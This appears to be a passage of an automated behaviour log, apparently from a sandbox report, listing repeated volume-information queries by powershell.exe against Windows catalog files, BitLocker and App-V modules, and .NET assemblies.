Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
